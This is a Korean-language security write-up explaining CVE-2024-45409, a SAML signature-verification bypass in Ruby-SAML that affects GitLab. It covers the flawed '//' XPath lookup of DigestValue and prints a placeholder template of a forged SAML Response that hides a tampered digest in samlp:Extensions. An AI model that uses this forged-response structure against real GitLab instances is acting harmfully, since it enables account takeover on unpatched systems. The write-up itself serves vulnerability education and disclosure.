[하루한줄] CVE-2024-45409: Gitlab SAML Authentication Bypass 취약점

URL

https://blog.projectdiscovery.io/ruby-saml-gitlab-auth-bypass/

Target

  • Gitlab CE/EE
    • < 16.11.10
    • 17.0.0 < 17.0.8
    • 17.0.0 < 17.1.8
    • 17.0.0 < 17.2.7
    • 17.0.0 < 17.3.3

Explain

Gitlab 의 SAML 인증 과정에서 검증 미흡으로 인한 인증 우회 취약점이 발견되었습니다. SAML 인증이 활성화된 Gitlab 인스턴스의 경우 해당 취약점으로 계정이 탈취당할 수 있습니다.

SAML 인증

SAML (Security Assertion Markup Language) 는 널리 알려진 인증 방식으로 Idp (Identifier Provider) 에서 SP (Service Provider) 로 권한 인증 자격 증명을 전달할 때 사용하는 표준 방식입니다.

Gitlab 과 같은 서비스를 이용하다보면 Google 로 로그인하기와 같은 다른 서비스 계정을 이용해 로그인하는 것을 종종 보셨을텐데요. 이럴 때 사용하는 방법 중 하나가 SAML 인증이며 oauth 와 더불어 SSO 를 구현할 때 이용됩니다.

Gitlab 에서 Google 계정으로 로그인 버튼을 눌렀다고 한다면 다음과 같은 과정을 거칩니다.

  1. Google 로 로그인 합니다.
  2. Google 서버에서 로그인된 계정에 대해 SAML Response 라는 값을 반환합니다. (이 때, Google 이 IdP 가 됩니다.)
  3. 사용자는 Google 서버에서 받은 SAML Response 를 Gitlab 으로 전달합니다. (Gitlab 이 Service Provider 입니다.)
  4. Gitlab 은 전달받은 SAML Response 를 검증하고 이상이 없다면 해당 계정으로 로그인시킵니다.

SAML Response 검증은 어떻게 이뤄질까요? 일반적으로 SAML Response 에는 Assertion 이라는 요소가 포함됩니다.

Assertion 에는 로그인 대상 계정, 계정 권한 등의 정보가 기재됩니다. Assertion 의 내용이 변경되면 안되기에 무결성을 위해 Signature의 SignedInfo 블록에서 Assertion 의 digest(hash) 와 서명값을 기재합니다.

설명에 따른 XML 예시는 다음과 같습니다.

<Assertion ID="_abc123">
  <Signature>
    <SignedInfo>
      <Reference URI="#_abc123">
        <DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" />
        <DigestValue>abc123DigestValue</DigestValue>
      </Reference>
    </SignedInfo>
    <SignatureValue>SignedWithPrivateKey</SignatureValue>
  </Signature>
    <!-- Assertion contents -->
</Assertion>

JWT 토큰에도 로그인할 사용자 정보와 Signature 가 붙는데, 이와 유사한 구조라고 볼 수 있습니다.

Ruby-SAML 우회

Gitlab 은 SAML 인증을 위해 Ruby-SAML, OmniAuth-SAML 라이브러리를 사용 합니다. Ruby-SAML 에서는 XPath 를 통해 XML 요소들을 참조하게끔 구현이 돼있는데요. XPath 대략적인 문법은 다음과 같습니다.

  • / - 루트 노드로부터 절대경로 참조, /samp:Response 처럼 쓸 경우 <samlp:Response> 엘리먼트를 의미함. /samlp:Response/saml:Issuer 처럼 쓰면 <samlp:Response> 아래의 <saml:Issuer> 를 의미함.
  • ./ - 현재 노드로부터 상대경로 참조
  • // - xml 문서 내 전체 탐색.

여기까지 봤을 때, 취약점이 왜 발생했는지 감이 오시나요? Ruby-SAML 에서는 Assertion 의 hash 인 DigestValue 를 갖고 오기 위해 // 문법을 사용하고 있었습니다.

// 문법은 문서 전체를 탐색하기 때문에 DigestValue 가 SignedInfo 안에 없어도 검색이 가능했었죠. 그렇기에 공격자는 DigestValue 를 문서 내 아무 곳에 배치하는 것이 가능했습니다.

encoded_digest_value = REXML::XPath.first(
  ref,
  "//ds:DigestValue",
  { "ds" => DSIG }
)

서명 검증 우회

취약점 트리거를 위해 짚어야할 사항은 다음과 같습니다.

  • Assertion 에는 로그인할 ID 정보가 기재된다 → Assertion 변조 시 원하는 계정으로 로그인 가능하다.
  • Assertion 무결성은 hash 와 서명으로 확보되는데, 이 값들은 SignedInfo 에 저장된다.

그렇다면 Assertion 을 변조하고 변조된 Assertion 의 DigestValue 를 SignedInfo 이전에 배치시킨다면 어떻게 될까요?

DigestValue 가 // 로 인해 앞 쪽에 배치가 가능한다고 해도 변경된 hash 가 서명 검증을 통과할 수 있을까요?

서명 검증에는 // 로 검색된 DigestValue 가 아닌, 원본 SignedInfo 내 존재하는 DigestValue 와 서명을 검사했습니다. 즉, SignedInfo 는 그대로 두고 변조된 DigestValue 만 앞 쪽에 배치한다면 인증을 우회할 수 있었습니다.

트리거에는 아무 요소나 배치될 수 있는 samlp:extensions 가 사용되었습니다. 공격자는 Assertion 의 digest 를 samlp:extension 로 감싸서 SignedInfo 앞 쪽에 배치하여 검증을 우회할 수 있습니다.

위 설명에 따른 변조된 SAML Response 예시는 다음과 같습니다.

<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response Destination="http://kubernetes.docker.internal:3000/saml/acs"
    ID="_afe0ff5379c42c67e0fb" InResponseTo="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
    IssueInstant="2024-10-03T13:50:44.973Z" Version="2.0"
    xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:xs="http://www.w3.org/2001/XMLSchema">
    <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
        xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://saml.example.com/entityid</saml:Issuer>
    <samlp:Extensions>
        <DigestValue xmlns="http://www.w3.org/2000/09/xmldsig#">
            변조된 assertion contents 의 digset
        </DigestValue>
    </samlp:Extensions>
    <samlp:Status xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
        <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
    </samlp:Status>
    <saml:Assertion ID="_911d8da24301c447b649" IssueInstant="2024-10-03T13:50:44.973Z" Version="2.0"
        xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
        xmlns:xs="http://www.w3.org/2001/XMLSchema">
        <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
            xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://saml.example.com/entityid</saml:Issuer>
        <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
            <SignedInfo>
                <CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
                <SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" />
                <Reference URI="#_911d8da24301c447b649">
                    <Transforms>
                        <Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" />
                        <Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
                    </Transforms>
                    <DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" />
                    <DigestValue>원본 assertion 의 digest</DigestValue>
                </Reference>
            </SignedInfo>
            <SignatureValue>
	            원본 digest 의 서명
            </SignatureValue>
            <KeyInfo>
                <X509Data>
                    <X509Certificate>서명 진행한 인증서</X509Certificate>
                </X509Data>
            </KeyInfo>
        </Signature>
        <saml:Subject xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
            <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
                로그인할 gitlab 계정
            </saml:NameID>
            <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
                <saml:SubjectConfirmationData InResponseTo="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
                    NotOnOrAfter="2024-10-03T13:55:44.973Z"
                    Recipient="http://kubernetes.docker.internal:3000/saml/acs" />
            </saml:SubjectConfirmation>
        </saml:Subject>
        <saml:Conditions NotBefore="2024-10-03T13:45:44.973Z"
            NotOnOrAfter="2024-10-03T13:55:44.973Z"
            xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
            <saml:AudienceRestriction>
                <saml:Audience>https://saml.example.com/entityid</saml:Audience>
            </saml:AudienceRestriction>
        </saml:Conditions>
        <saml:AuthnStatement AuthnInstant="2024-10-03T13:50:44.973Z"
            SessionIndex="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
            xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
            <saml:AuthnContext>
                <saml:AuthnContextClassRef>
                    urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport
                </saml:AuthnContextClassRef>
            </saml:AuthnContext>
        </saml:AuthnStatement>
        <saml:AttributeStatement xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
            <saml:Attribute Name="id"
                NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
                <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
                    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
                    1dda9fb491dc01bd24d2423ba2f22ae561f56ddf2376b29a11c80281d21201f9
                </saml:AttributeValue>
            </saml:Attribute>
            <saml:Attribute Name="email"
                NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
                <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
                    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
                    jackson@example.com
                </saml:AttributeValue>
            </saml:Attribute>
        </saml:AttributeStatement>
    </saml:Assertion>

</samlp:Response>

위 처럼 SAML Response 가 구성된다면, SignedInfo 는 변경되지 않았으니 서명 검증이 통과되며, 변조된 Assertion 의 DigestValue는 에 배치되기에 hash 검사가 통과됩니다. 이를 통해 임의 계정을 탈취할 수 있게됩니다.

Reference



본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.